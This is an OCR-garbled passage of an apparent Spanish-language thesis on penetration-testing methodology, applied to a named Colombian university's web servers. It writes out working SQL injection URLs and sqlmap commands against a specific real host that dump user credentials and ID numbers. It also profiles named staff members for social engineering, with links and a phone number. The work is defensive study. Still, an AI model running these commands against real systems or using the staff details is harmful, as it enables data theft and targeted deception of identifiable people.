exploit/linux/http/ddwrt_cgibin_exec (port match)
exploit/linux/http/dlink_authentication cgi bof (port

exploit/linux/http/dlink_command_php_exec_noauth (port
exploit/linux/http/dlink_dir300_exec_telnet (port matc
exploit/linux/http/dlink_dir6051_captcha_bof (port mat
exploit/linux/http/dlink_dspw2l5_info_cgi_bof (port ma
exploit/linux/http/dlink_hedwig_cgi bof (port match)
exploit/linux/http/dlink_hnap_bof (port match)

exploit/linux/http/dlink_upnp_exec_noauth (port match)
exploit/linux/http/dolibarr_cmd exec (port match)
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Al final se dara una respuesta indicando si hubo o no una intrusién exitosa, para
este caso, no se evidencian intrusiones exitosas.

Las pruebas con sglmap seran realizadas en su totalidad en la capa 7 aplicacion
del modelo OSI.

e SqglMap e intrusiones Manuales:

Se identifica la URL la cual aparentemente no muestra nada, sin embargo al
realizar busquedas manuales empiezan aparecer las primeras inyecciones de
cadigo sobre la aplicacion:

La prueba se realizara con la siguiente URL en cualquier navegador:

http://revistatesispsicologica.ulibertadores.edu.co:8089/tools/marco.php?idcate
goria=4862

Figura: Inyeccion de Cédigo 1

€ > C A [)revistatesispsicologica.ulibertadores.edu.co:8089/tools/marco.php?idcategoria=4862

El elemento no existe o no esta activo.

Fuente: Imagen tomada de un navegador al realizar una consulta sobre la pagina de
la universidad

- Ingresando una consulta de tablas, consultando usuario y base de datos

http://revistatesispsicologica.ulibertadores.edu.co:8089/tools/marco.php
?idcategoria=4862' LIMIT 0,1 UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,user(),23,24,25,26,27,2
8,29,30,31,32,33,34,35,36,37,38,39 -- -

Figura: Inyeccion de Codigo 2

Not Found

The requested URL mul{liherradurea @lucalhoat}was not found on this server.

| Apache/2.0.50 {Unix) mod_ssl/2.0.50 OpenSSL/A0.9.8 Zend Core’] PHFP/3.1.4 Server

Fuente: Imagen tomada de un navegador al realizar una consulta sobre la pagina de la
universidad
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Se puede observar el usuario y la direccion de la base de datos, en este caso
se observa de manera local: libertadores@localhost. Observar que en este
caso se realiza una consulta por usuario user.

- Consultando la base de datos

http://revistatesispsicologica.ulibertadores.edu.co:8089/tools/marco.php
?idcategoria=4862' LIMIT 0,1 UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,database(),23,24,25,26
,27,28,29,30,31,32,33,34,35,36,37,38,39

El cual dejar& ver /libertadores como base de datos.

Figura: Inyeccion de Cédigo 3

Not Found
The requested URL mul was not found on this server.

Ldpache/2.0.30 (Unix) mod_ssl/2.0.50 OpenSSL/A0.9.8 Zend Core/] PHF/3.1.4 Server

Fuente: Imagen tomada de un navegador al realizar una consulta sobre la pagina de la
universidad

- Inyeccién con sglmap en terminal de Kali.
sqlmap -u
"http://revistatesispsicologica.ulibertadores.edu.co:8089/tools/ma
rco.php?idcategoria=4862" —dbs

Al ejecutar este comando sefialamos que nos muestre las dbs:

Figura: Inyeccién de Codigo 4

"http://revistatesispsicologica.ulibertadores.edu.co

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

Al realizar la consulta se evidencia dos bases de datos, libertad_portal y
libertadores

96



Figura: Inyeccion de Codigo 5

Fuente: Imagen tomada de la terminal del sistema operativo Kali.
Se encontraron dos bases de datos a las cuales se les realizara consulta.
- Realizando consulta de tablas de la base de datos libertadores:

sqlmap -u
"http://revistatesispsicologica.ulibertadores.edu.co:8089/tools/marco.php
?idcategoria=4862" -D libertadores —tables

Figura: Inyeccion de Codigo 6

Fuente: Imagen tomada de la terminal del sistema operativo Kali.
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Figura: Inyeccion de Codigo 7

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

Una vez realizada la consulta se evidencia varias tablas como se muestra en
la Figura: Inyeccion de codigo 8.

- Consultando las columnas de la tabla “usuario” de la base de datos
“libertadores”

sqlmap -u
"http://revistatesispsicologica.ulibertadores.edu.co:8089/tools/marco.php
?idcategoria=4862" -D libertadores -T usuario --c  columns
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Figura: Inyeccion de Codigo 8

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

Se observa los titulos de las columnas las cuales pueden contener informacién
importante: apellidos, cargo, empresa, identificacibn, nombres, password,
username, entre otros.

99



- Extrayendo informacioén de las columnas:

sqlmap -u
"http://revistatesispsicologica.ulibertadores.edu.co:8089/tools/marco.php
?idcategoria=4862" -D libertadores -T usuario -C

cargo,apellidos,identificacion,nombres,password,username,identificacio
n —-dump

Figura: Inyeccion de Cédigo 9

Fuente: Imagen tomada de la terminal del sistema operativo Kali.
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Figura: Inyeccion de Codigo 10

Fuente: Imagen tomada de la terminal del sistema operativo Kali.
Como se logra ver en las imagenes Figura: Inyeccion de Cédigo 9y 10 es muy

clara la forma en la cual se puede realizar la extraccion de informacion de las
bases de datos.
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2.7.4 Presentaciony reporte

Si bien las fases que componen a la operatoria de un Penetration Test son las
mencionadas anteriormente, cabe sefialar que a partir de los resultados
obtenidos se genera la documentacion correspondiente con los detalles que
comprendieron la auditoria. Esta documentacion es la que verd el cliente, y es
la que servird como guia para tomar las decisiones futuras pertinentes.

Finalmente, es importante tomar los recaudos necesarios para evitar sufrir
ataques e incidentes en la organizacion.

En los reportes generados, basicamente se debe evidenciar la informacién
recolectada durante todo el proceso de pentesting, tal como se ha recomendado
por el grupo de offensive-security creadores de Kali linux.

https://www.offensive-security.com/penetration-testing-sample-report.pdf

NOTA: el proyecto no tiene el alcance del reporte ya que solo se presenta
metodologia para hallar vulnerabilidades. No se presentan posibles
soluciones alos hallazgos
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CAPITULO Il

3. ANALISIS DE INFORMACION DE RESULTADOS

3.1 CONCEPTO DE SEGURIDAD Y DESARROLLO DE LA METODOLOGIA

El resultado de este proyecto es la propuesta de una nueva metodologia,
mediante la cual pueda ser usada por cualquier administrador de red, se pueda
realizar pruebas, escaneos, vulnerabilidades e intrusiones controladas, para
poder probar la seguridad de una red informatica y verificar la correcta
implementacién de las politicas de seguridad informéatica.

Al realizar el andlisis de la informacion recolectada durante la ejecucion de la
metodologia planteada, se logra observar que es posible encontrar informacion
desde las fases bésicas de recoleccion de informacion, asi como sus
posteriores pasos dentro de la misma.

Es importante tener en cuenta dentro del analisis que todas las redes no se
comportan de la misma manera, por lo que la metodologia reaccionara con
diferentes resultados, segun el escenario planteado (Externo o Interno), tipo de
caja (Black, White o Gray) y las politicas que se tengan configuradas dentro de
los dispositivos a realizar el analisis.

3.2 CONCEPTO SOBRE LA RECOLECCION DE INFORMACION

La recoleccién de informacién juega un papel muy importante dentro de la
metodologia planteada, puesto que es el primer escalén bajo el cual se realizara
los distintos tipos de pruebas y basandose en esta fase, se podra establecer
vectores de ataque para poder continuar con las fases posteriores de la
metodologia.

Las herramientas mencionadas como whois y network-tools, son herramientas
que permiten realizar reconocimientos de plataformas y determinar en la
mayoria de los casos, los proveedores que administran las plataformas o que
tienen en colocation sus servidores.

De igual manera las herramientas de reconocimiento, permitiran una busqueda
pasiva basandose en aplicaciones de terceros en internet como network-
tools.com, quien sera capaz de encontrar informacion relacionada con un
dominio como es el caso de la ulibertadores.edu.co, donde fue posible
determinar informacion acerca del direccionamiento de los DNS, MX, y direccion
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IP del servidor donde se encuentra la aplicaciébn principal de
ulibertadores.edu.co.

Se pudo identificar el nombre del proveedor registrante del dominio, el cual es
mi.co Internet S.A.S, empresa colombiana que actualmente trabaja como
registrador de dominios, direccion de la empresa que registra el dominio (Cra
16 No 63A-68 en Bogotd) y la informacion del contacto de tecnologia
gertecnologia@libertadores.edu.co, ingeredes@libertadores.edu.co  Luis
Alfonso Franco Cortés

Figura: Analisis 1

D
.CO INTERMNET S.A
111111

tes
LIBERTADORES

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

Cabe mencionar que dicha informacion recolectada a nivel de infraestructura es
inofensiva, pero en el mundo actual existen ataques informaticos donde se
puede aprovechar del desconocimiento del personal que trabaja en las
empresas y mediante informacion recolectada, enviar correos con caratulas de
la universidad solicitado informacion y suplantando a los administradores, dicho
ataque es conocido como ingenieria social, donde el delincuente informatico
usa informacion recolectada en internet, con el animo de suplantar personal que
trabaja dentro de las compafiias.

Por otro lado lograr encontrar informacion acerca de Luis Alfonso Franco
Cortes, Sandra Constanza Sanchez Cortés y poder estructurar un vector de
ataque mucho mayor, es importante mencionar que la informacion tomada a
continuacion es puesta como ejemplo y los perfiles de redes sociales, pueda
que no concuerden con el real, solo se toma como ejemplo para poder
determinar el alcance que puede llegar a tener un ataque de ingenieria social:

e Google+: https://plus.google.com/106208047838932105451/about
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Fundacion Universitaria Los Libertadores

Figura: Analisis 2

Personas Informacién basica

En sus circulos 4 personas Sexo  Hombre

Fuente: Imagen tomada de la red socia google+

¢ Google: Imagenes en google del administrador o primer respondiente
del dominio

Figura: Analisis 3

Web Imagenes Videos Noticias Mas

Cerca de 602.000 resultados (0,24 segundos)

Imagenes de

Mas imagenes de

Fuente: Imagen tomada del buscador google.

Facebook.com: Figura: Andlisis 4
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Fundacion Universitaria Los Libertadores

Message | oo

Photos

Timeline About Friends More v

DO YOU KNOW LUIS ALFONSO?

ed his profile picture

# Also lives in Bogota, Colombia

1. Also from Bogota, Colombia

= Studied at Universidad INCCA de Colombia

AL 66 friends

FRIENDS - 66

Fuente: Imagen tomada de la red social Facebook.

Informacion General:
https://www.renata.edu.co/index.php/component/jcalpro/38-ciencias-
sociales-y-cultura/394-conferencia-discriminacion-y-segregacion-por-
motivos-de-diversidad-sexual-y-de-genero?ltemid=146 donde se puede
observar el nimero de teléfono de contacto 2544750.

Figura: Analisis 5

Nota: recuerde que para peder visualizar las transmisiones mediante QuickTime. esta aplicacion debera estar instalada en
Mostrar calendario completa SU equipo.
En caso de necesitar apoyo técnico siga las siguientes instruccienes: "Atencion a fallas técnicas™.
Calendario de Nota: |a sala asignada estara dispenible con una hora de anticipacion de manera tal que en este horario se lleven a cabo
Transmisiones |a pruebas necesarias. En caso de necesitar mas tiempo para |a realizacion de pruebas, favor solicitar mediante
Contacto
Lu Ma Mi Ju Vi Sa Do Mombre: Luis Alfonso Franco Cortes
1 2 3 Teléfono: (1) 2544750
4 5 6 7 8 9 10
1 12 13 14 15 16 17

Fuente: Imagen tomada de la pagina renata.edu.co

Informacién de Sandra Constanza Sanchez Likedin:
https://co.linkedin.com/pub/sandra-constanza-s%C3%Alnchez-
cort%C3%A9s/24/975/b37
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Figura: Analisis 6

Sandra Constanza Sanchez Cortés
Ingeniera de Sistemas
Colombia | Ensefianza superior

Fundacion Universitaria Los Libertadores
Universidad Vifia del Mar de Chile

Enviar un mensaje InMail a Sandra Constanza 75

M@ nhttps:ifeo linkedin.c omipub/sandra-c onstanza-sanc hez-c ortés/24/975/b37

Trayectoria profesional y académica
@ Experiencia

Gerente de tecnologia
Fundacién Universitaria Los Libertadores
agosto de 2013 - actualidad (1 afio 11 meses) | Bogota

Fuente: Imagen tomada de la pagina linkedin.com

Como se logra ver, la fase de reconocimiento aunque no representa una
vulnerabilidad informatica, puede llegar a ser una vulnerabilidad de factor
humano para suplantacion, engafo y estafas.

Las herramientas ping, tracert y nmap, permiten determinar en algunos de los
casos si el dispositivo se encuentra alcanzable y cual ruta se atraviesa para
llegar a él, pudiendo elaborar un mapa I6gico de los saltos que se trazan a través
de lared. Los saltos de la red, son imposibles de ocultar, pero las respuestas y
peticiones de ICMP se podrian deshabilitar para que simule un host apagado.

La informacién recolectada con la herramienta The Harvester, permite poder
realizar otro ataque de ingenieria social, asi como la identificacion de los duefios
de los correos electronicos.

Dichos ataques son caracteristicos, porque logran dafiar reputacionalmente la
imagen de una compafiia al generar correos electronicos no deseados llamados
spam.
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Figura: Analisis 7

Borradores (3)
Menos «

Importantes
Chats
Todos
Spam (2)

FPapelera

Fuente: Autor del documento.

Scripts para reconocimiento manual: En esta metodologia se construy6 un script
basado en el lenguaje nativo de Linux dentro de la consola Terminal de Kali, en
el lenguaje bash, permitiendo descargar el indice de la pagina
ulibertadores.edu.co (index), para poder leer lo que existe dentro del mismo,
extraer dominios y direcciones IP y poder ir mas alla en el momento de las fases
superiores de la metodologia.

Figura: Analisis 8

cut -d "/" -f 3

="60" b

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

Una vez hecho la extraccion de informacién del direccionamiento IP se pudo
sacar los andlisis de vulnerabilidades de cada una las direcciones para su
posterior andlisis.
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Fundacion Universitaria Los Libertadores

Figura: Analisis 9

190.242.99.231 z

173.194.219.132 16

190.242.99.228

190.242.99.229

190.242.59.234

-
~
)

190.242.99.235

Fuente: Imagen tomada de la herramienta Nessus.

3.3 CONCEPTO SOBRE LA IDENTIFICACION DE SISTEMAS Y SERVICIOS

Esta metodologia plantea en su fase 2, los analisis de puertos y servicios que
permiten realizar una extraccion de versiones de las plataformas tecnoldgicas y
tipos de servicios publicados, es por ello que se busca realizar una consulta por

medio de banners de los puertos publicados con el comando telnet y un andlisis
de puertos.

Escaneo de puerto: Los escaneos de puertos permiten verificar los servicios
expuestos tanto a nivel externo como a nivel interno, dejando evidencia
tecnologias usadas por la empresa en sus servidores, siempre es importante
que nunca los servidores o dispositivos de red dejen ver sus versiones o
tecnologias.

Figura: Analisis 10

4 Port 4 Protocol 4 State 4 Service 4 Version
@ I tep open  http Apache httpd 2.2.9 ((Debian) PHP/3.2.6-1+lenny8 with Suhosin-Patch)
@ 113 tep closed ident
@ 3080 tcp open  ms-wht-server Microsoft Terminal Service
@ 2080 tcp open  http Apache Tomcat/Coyote ISP engine 1.1
@ 20839 tcp open  http Apache httpd 2.0.50 ((Unix) mod_ssl/2.0.50 Open35L/0.9.8 Zend Core/1 PHP/5.1.4)
@ B3 tep open  http Apache Tomcat/Coyote J5P engine 1.1

Fuente: Imagen tomada del resultado de un analisis de puertos con NMAP.
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3.4 CONCEPTO SOBRE ANALISIS DE VULNERABILIDADES

Las vulnerabilidades informéticas son el dia a dia de los delincuentes
informaticos para poder realizar fraudes y robos electronicos, por lo que un
administrador siempre deberd estar atento a los cero days reportados y todos
los bugs encontrados, teniendo de esta manera un paso a delante de ellos.

Por esta razon es que los analizadores de vulnerabilidades juegan un papel
sumamente importante y es debe de todo administrador tener entre sus
herramientas un analizador de vulnerabilidades, preferiblemente licenciado
como Nessus.

Debido a las vulnerabilidades que reportan y son descubiertas a diario, se hace
importante que se realicen actividades con frecuencia y perioddicas de estudio
de la red y dispositivos, por ello se plantea dentro de la metodologia una fase
de escaneo de vulnerabilidades para poder posteriormente realizar una
explotacion y llevar consigo una intrusion satisfactoria verificable y saber como
contra arrestarla.

Al realizar un analisis sobre la direccion IP 190.242.99.231 direccién que apunta
al dominio ww.libertadores.edu.co se encuentran ciertas vulnerabilidades con
severidad critica.

Figura: Analisis 11

Host Details
IP: 190.242.99.231
Start: Today at 11:16 AM

Vulnerabilities

’ @ Critica

Fuente: Imagen tomada del analisis de vulnerabilidades con la herramienta Nessus.
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undacion Universitaria Los Libertadores
—

Se encontraron 6 vulnerabilidades con severidad critica

Figura: Analisis 12

"tr .
L5 TABLERO DE GESTION DE ANALISIS DE VULNERABILIDADES
Los Libertadores CRITICAS
I OBJETIVOS ENERO [ FEBRERO | MARZO|ABRIL| MAYO | JUNIO [JULIO|AGOSTO| SEPTIEMBRE | OCTUBRE | NOVIEMERE | DICIEMBRE
CRITICAS 1] 1] 1] 1] [:3 1] 1] 0 1] | 1] | 1] 1] ‘
CRITICAS
) &
: 1
7
N P S—— A A A A A A A
0¥ T T T T '
o ] o o o Nel © o & & & &
@‘\Q’q- «,‘bé‘ \"éﬂ’ ?Q’Q \&F )\}\ ¥ S : «{4\}# 0"0%@ ﬂ.\\&%@ g&“??-
¢ & & g &

Fuente: Autor del documento

Dichas vulnerabilidades hacen referencia a certificados no soportados en
OPEN SSL, sistemas operativos sin soporte y version de PHP sin soporte.

Figura: Analisis 13

"':m-d
%3,:11

Lc:s lecr{ad ores

Fund

weiom Uniiversitaria

INFORMATIYAS

NUOMERO TOTAL DE YULNERABILIDADES:

BAJAS
| Mepwms | e |
ALTAS
CRITICAS
CLASIFICACION DE
RIESGO DE LA NOMERE DE LA ¥ULNERABILIDAD [INGLES)
¥YULNERABILIDAD
- g -

Critical Open3sl < 0.9.7170.9.8d Multiple Wulnerabilties
Critical OpenSEL < 0.9.71/ 0.59.8d Multiple WVulnerabilities.
Critical OpenSsL < 0.9.7170.9.2d Multiple Wulnerabilties
Critical Open3sl < 0.9.7170.9.8d Multiple Wulnerabilties
Critical Unsupported Unix Operating System ’
Critical PHP Unsupported Wersion Detection H

Fuente: Autor del documento.
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Fundacion Universitaria Los Libertadores

Se encontraron 27 vulnerabilidades con severidad alta:

Figura: Analisis 14

iy :
iﬁ%ﬁ TABLERO DE GESTION DE ANALISIS DE VULNERABILIDADES
Los Livere ALTAS
OBJETIVOS ENERO | FEBRERO | MARZO[ABRIL| MAYO | JUNIO [JULIO]AGOSTO| SEPTIEMBRE|OCTUBRE] NOVIEMBRE | DICIEMBRE
ALTAS 0 0 0 0| 2 | o 0 0 0 0 0 0
ALTAS
" _).'- 7
w1
1
107, malTAS
A S S P
0+ t t
O o] Pls} g O Ne] 0 o] & & & &
Q/‘{Q‘E‘ Q@ Qg"?- \gy?y &Q“ .;f\ }\)t\ 3\)\, V@Or:‘\ «&@Q? C‘QBQQ_ Q\ex@?' D\Q’\z\@
e ® <

Fuente: Autor del documento.
Nombre de las vulnerabilidades halladas

Figura: Analisis 15

i
s

Los Libe.ri_.a_d ores

Fund witaria

NUMERO TOTAL DE YULNERABILIDADES:

INFORMATI¥AS
BAJAS
ALTAS
CRITICAS
CLASIFICACION DE
RIESGO DE LA NOMEBRE DE LA ¥ULNERABILIDAD [INGLES)
YULMNERABILIDAD
T -
High Apache <= 2051 Satisfy Directive Access Control Bypass
High Open35SL = 0.9.8f Multiple VYulnerabilities
High OpenSSL = 0.9.87 Multiple Vulnerabiltiss
High OpensSsL < 0.9.8p /7 1.0.0b Buffer Overflow
High che < 2.0.55 mod_rewrite LDAP Protocol URL Handling Ower
High Apache < 2.0.55 Multiple Vulnerabilities
High Apache < 2.0.55 Multiple Vulnerabilties
High Apache < 2.0.55 Multiple Vulnerabilities

Fuente: Autor del documento
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Figura: Analisis 16

High Apache = 2.0.55 Multiple Yulnerabilities
High PHP = 5.2.6 Multiple Vulnerabilities
High PHP = 5.2.8 Multiple Yulnerabilties
High PHP = 5.2.8 Multiple Yulnerabilties
High PHP = 5.2.8 Multiple Yulnerabilties
High PHP = 5.2.8 Multiple Yulnerabilties
High PHP = 5.2.8 Multiple Yulnerabilties
High Unsupported Web Server Detection
High PHP = 5.2.8 Multiple Yulnerabilties
High PHP = 5.2.8 Multiple Yulnerabilties
High PHP = 5.3.12 /5.4 2 CGIl Query String Code Execution
High Apache 2.0 = 2.0.65 Multiple VYulnerabilities
High Apache 2.0 = 2.0.65 Multiple VYulnerabilities
High Apache 2.0 = 2.0.65 Multiple VYulnerabilities
High Apache 2.0 = 2.0.65 Multiple VYulnerabilities
High Apache 2.0 < 2.0.85 Multiple Vulnerabilties
High Apache 2.0 = 2.0.65 Multiple VYulnerabilities

Fuente: Autor del documento

Las vulnerabilidades con severidad alta hacen referencia en gran parte a
multiples hallazgos en las versiones de PHP, Apache y OpenSSL, por lo que
aumenta el grado de inseguridad en el servidor y en gran parte en sus
publicaciones WEB.

Se encontraron 60 Vulnerabilidades Medias:

Figura: Analisis 17

Y TABLERO DE GESTION DE ANALISIS DE VULNERABILIDADES
Los Libertadores MEDIAS
OBJETIVOS EMERQO| FEBRERO |MARZO|ABRIL) MAYQ | JUNIO |JULIQ|AGOSTO| SEPTIEMBRE|OCTUBRE| HOVIEMERE | DICIEMBRE
MEDIAS 0 0 0 0 B0 0 0 0 ] 0 0 0
MEDIAS
&0
&0
50
40 .
3o 7
20 7 -
10 + a a a a o o o o a 1] a MEDIAS
0 T T T T T
o] (8] 40 A Q ] o o & & & &
&= & & A o o & 9= & & &
& @é" \g??* FCA S 5 & &@“” & & F
¢ 8 d 9@* O

Fuente: Autor del documento.
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Figura: Analisis 18

g?mé

'lﬂa-‘i\_;’

=By (8=

Los Libertadores
Fundacidn Universitaria NUMERD TOTAL DE YULNERABILIDADES:
INFORMATI¥YAS
BAJAS
ALTAS
CRITICAS
CLASIFICACION DE
RIESGO DE LA NOMBRE DE LA ¥YULNERABILIDAD [INGLES)
YULNERAEILIDAD
-1 -
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Fuente: Autor del documento.
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Figura: Analisis 19
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Fuente: Autor del documento.
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Dichas vulnerabilidades medias se referencian a problemas heredados de las
vulnerabilidades altas y criticas como se mencionan en la Figura: Andlisis 14 y
15, sin embargo aparecen vulnerabilidades como XSS por métodos Expect.

No se encontraron Vulnerabilidades con Severidad Baja

Figura: Analisis 20
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Fuente: Autor del documento.

El hecho de que existan vulnerabilidades Altas y Criticas, no es un indicador
de que tengan que existir las vulnerabilidades bajas, esto es un factor relativo.

La sumatoria total de las vulnerabilidades es de 93 reportes realizados por la
herramienta Nessus:

Figura: Analisis 21
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Fuente: Autor del documento.
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En una gréfica se obtiene una mejor dimension de los reportes realizado por

Nessus.
Figura: Analisis 22
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Fuente: Autor del documento.

Figura: Analisis 23
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Fuente: Autor del documento.
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3.5 CONCEPTO SOBRE EXPLOTACION DE VULNERABILIDADES

La explotacion de vulnerabilidades est4 dada por la criticidad de cada uno de
los reportes realizado por le herramienta que haya hecho el hallazgo y depende
mucho del procedimiento de explotacién, tanto asi que si dicha vulnerabilidad
se encuentra reportada en la pagina de exploit-db.com, se podra encontrar un
script, programa, desarrollo, Exploit o cualquier informacion que indique la forma
de realizar la explotacion o intrusion de la misma. Es importante mencionar que
el hecho de que no se encuentre reportada en la base de datos de exploit-
db.com no es un factor que indique que el riesgo es nulo frente al reporte
realizado por el analizador de vulnerabilidades. Es deber del administrador
verificar la criticidad de la misma y en el peor de los casos realizar la
actualizacién de lo que se recomienda.

Figura: Analisis 24
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The Exploit Database - ultimate archive of Exploits, Shellcode, and Security Papers. New to the site? Learn about the Exploit Database.

Fuente: Imagen descargada de la pagina exploit-db.com

Una denegacion de servicio causada por una vulnerabilidad presente en PHP,
puede hacer que la aplicacion quede inaccesible por un instante:
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Figura: Analisis 25

Fuente: Imagen tomada de la terminal del sistema operativo Kali.

Es importante revisar las vulnerabilidades de denegacion de servicio por la
disponibilidad que debe representar el portal.

Figura: Analisis 26
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ACREDITACION DE ALTA CALIDAD

» Licenciatura en Pedagogia Infantil sues oo

+ Pamiininanidn Qacial - Parindiemn

Fuente: Imagen tomada de la pagina de la universidad libertadores, por direccion IP.

El lanzamiento automatizado de Exploits es otra de las formas de verificaciéon e
intrusion contra un objetivo, sin embargo en las pruebas realizadas y mostradas
en este documento no se realiza ninguna intrusion.
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t sessions exit show
et b sessions exit show h
p info set back
fo set back
p info set back
p info set back
s help info set back
help info set back v
Ip info set back us:

Fuente: Imagen tomada de la herramienta Metasploit.

Las inyecciones de cdodigo son el objetivo mas claro que buscan los
delincuentes informaticos, asi como las colmenas de hackers y hacktivistas,
siendo la forma mas facil de extraer informacién, puesto que una vulnerabilidad
de este tipo va a permitir a un atacante extraer usuarios y contrasefias y en
muchos de los casos, tomar control de un servidor al subir archivos maliciosos
por los administradores de contenido de las aplicaciones web, netcat,
autoejecutables, escalamiento de privilegios y web shells, que le permitira a una
persona tomar control completo del dispositivo.

Durante el desarrollo de este documento se realiza la prueba con la pagina

http://revistatesispsicologica.ulibertadores.edu.co:8089/tools/marco.php?idcate
goria=4862

Figura: Analisis 28

€ = C [] revistatesispsicologica.ulibertadores.edu.co:8089/tools/marco.php?idcategoria=4862

Aplicaciones ¥ Bookmarks

El elemento no existe o 10 esta activo.

Fuente: Imagen tomada de la consulta realizada a una pagina web de la universidad
los libertadores.
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Dicha péagina apunta igual en el dominio principal

http://www.ulibertadores.edu.co:8089/tools/marco.php?idcateqoria=4862

Figura: Analisis 29

€« C | [ www.ulibertadores.edu.co:8089/tools/marco.php?idcategoria=4862

HH Aplicaciones ¢ Bookmarks

El elemento no existe o no esta activo.

Fuente: Imagen tomada de la pagina de la universidad los libertadores.

Existe un problema de fondo, el manejo de puertos, dominios y subdominios,
esto sin mencionar que existen problemas a nivel de programacion que permitié
la inyeccibn de cédigo sobre la URL anteriormente nombrada. Dicha
vulnerabilidad conlleva a que se realice la extraccion de informacién como
nombres de usuario, cédulas, correos, nombres, apellidos y contrasefias entre
otros. Es importante siempre ejecutar en una metodologia la inyeccién de
cbdigo para verificar que las bases de datos no sean vulnerables a la extraccion
de datos como se vio en los capitulos anteriores en la metodologia propuesta.

Otras de las vulnerabilidades que se pueden encontrar son

e Sqllnjection blind

e Cross Site Scripting

¢ Html injection

e Cross Site Scripting Frame

Como se pudo evidenciar en el ejercicio realizado sobre la url mencionada, una
inyecciéon de cddigo permite la extraccion de datos de una BDS.

Figura: Analisis 30

Fuente: Imagen tomada de la terminal del sistema operativo Kali.
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El programa Sqglmap permite realizar inyecciones de codigo automatizadas y
finalmente la extraccion de datos importantes como fue el caso de las tablas

Por ultimo se realiza la extraccién de data de la base de datos “libertadores”
en la tabla “usuario” y la consulta sobre las columnas “cargo, apellido,
identificacion, nombres, password, username, identificacion” de la base
de datos de mysq|l.

Figura: Analisis 31

Fuente: Imagen tomada de la terminal del sistema operativo Kali.
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4. CONCLUSIONES

e Esta metodologia se debera ejecutar periédicamente al menos una vez
cada 6 meses para conocer si presentan nuevos fallos dentro de la red.

e La metodologia esta disefiada para que cualquier ingeniero
administrador de sistemas, esté en la capacidad de poder realizar
pruebas de seguridad informatica.

e La recoleccion de informacion es una fase muy importante para la
ejecucion de la metodologia, puesto que en ella, se encuentra bastante
informacién acerca de la plataforma, como tecnologias, contactos de
administradores, correos electronicos, ubicaciones y demas,
informacion que juega un papel importante a la hora de verificar los
entornos productivos.

¢ La identificacion de los servicios publicados, es importante para poder
determinar los puertos y plataformas tecnoldgicas que se encuentran
visibles de forma publica.

e Al realizar extraccion de banners, se puede llegar a determinar con
exactitud las versiones de sistemas operativos usados, versiones de las
plataformas tecnoldgicas e informacién sensible publica.

e Los andlisis de vulnerabilidades es una de las fases mas importantes de
la metodologia, puesto que en ella se encuentran los fallos en los
objetivos y a partir de ello, poder construir vectores de ataque contra los
sistemas

e La presentacion del reporte es la fase final del ejercicio, donde se debe
mostrar todo la actividad realizada y de esta manera poder llevar a cabo
un plan de remediacion. En dicho reporte se plasmara todos los
hallazgos del ejercicio previamente realizado.

¢ Mediante el procedimiento planteado se puede verificar la informacion
expuesta en un servidor de produccion como es el caso de
ulibertadores.edu.co, el cual contiene varios puertos expuestos,
determinar qué tipo de servicios se encuentran publicados y a partir de
ello determinar si son o no vulnerables.

e El ingeniero que ejecutara las pruebas, debera tener un minimo de
conocimiento en sistemas operativos, asi como la distribucion de Debian
— Kali se deberéa tener un béasico de conocimientos en comandos de
Linux y el funcionamiento del mismo sistema operativo.
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Al realizar las pruebas de intrusion, se debera tener conocimiento acerca
de la infraestructura analizada, poder determinar y cruzar la informacién
mostrada por el resultado del test junto con la informacion de
administracién, para asi de esta manera poder determinar la mejor
solucion.

Siempre debe haber una herramienta de andlisis de vulnerabilidades
como Nessus, Nexpose o en su defecto OpenVass para infraestructura
y capa de red, asi como Acunetix y Skipfish para el analisis de aplicativos
web.

La presentacion de los informes, puede estar basada de la manera en
la que se sigue este documento, o en su defecto el link presentado que
esta propuesto por el proyecto de Kali hitps://www.offensive-
security.com/penetration-testing-sample-report.pdf el cual permite un
mejor entendimiento acerca de la actividad realizada.

Las pruebas de intrusion no significaran nada, si estas no se encuentran
debidamente documentadas para el administrador, o para que queden
como registro de la actividad.

Las inyecciones de cédigo proceden de diferente forma de acuerdo a los
tipos y tecnologias de las bases de datos, es importante tener un minimo
de conocimiento en bases de datos para lograr un analisis exitoso del
mismo.

Siempre se debe tomar un plan de accibn respecto a las
vulnerabilidades de severidad critica y alta, un plan de choque que sirva
para mitigar de forma casi que inmediata una remediacion al respecto,
siguiendo posteriormente con las vulnerabilidades de severidad media.

Se recomienda establecer un procedimiento periddico de una base de
aseguramiento (hardening) sobre los dispositivos, que permita tanto la
conformacion de politicas que reduzcan de manera efectiva la superficie
de ataque a la infraestructura como la determinacion de un estado del
arte de la seguridad interna de los sistemas que conforman dicha
infraestructura.

De ser posible, debe llevarse un inventario automatizado del software
instalado en los servidores de la organizacion, de modo tal que sea
posible y previsible la actualizacion de los componentes de software de
los sistemas de informacion cada vez que exista una actualizacion de
seguridad sobre los programas utilizados. Esta practica le brinda un
manejo mas transparente del estado de actualizacion de los sistemas y
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permite reducir sustancialmente la superficie de los ataques en su
contra.

e Aplicar las recomendaciones particulares en cada caso, generadas en
el documento, contando con el soporte del fabricante y efectuando el
analisis previo para realizar las modificaciones e instalacion de
componentes.

e Encuanto a las otras vulnerabilidades debido a su contenido informativo,
no presenta riesgo a nivel de informacién importante o de llegar
perpetrar alguna intrusion.

e Se recomienda realizar actividades de concientizacion a los empleados
para gue conozcan las maneras de actuar de un ingeniero social o un
delincuente informético.

4.1 CONCEPTO GENERAL DEL CONSULTOR DEL NIVEL DE SEGURIDAD

NIVELES:

BAJO: No cuenta con nivel de seguridad informatica apropiado para prestar el
servicio en entorno de produccion.

MEDIO: Cuenta con nivel de seguridad informatica apropiado para prestar el
servicio en entorno de produccion.

ALTO: Cuenta con nivel de seguridad informatica 6ptimo para prestar el servicio
en entorno de produccion.

El concepto global de la seguridad informética de los dispositivos analizados es
de orden:

NUMERO OBJETIVO NIVEL DE
SEGURIDAD
http://www.ulibertadores.edu.co BAJO
http://revistatesispsicologia.libertadores.edu.co BAJO

El equipo de seguridad de la universidad Los Libertadoes, debe de encargarse
de realizar una adecuada gestién de seguridad informatica en los dispositivos
analizados.
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Se recomienda realizar estas pruebas de forma esporadica para seguir
estableciendo un concepto de seguridad REAL en base a los analisis de
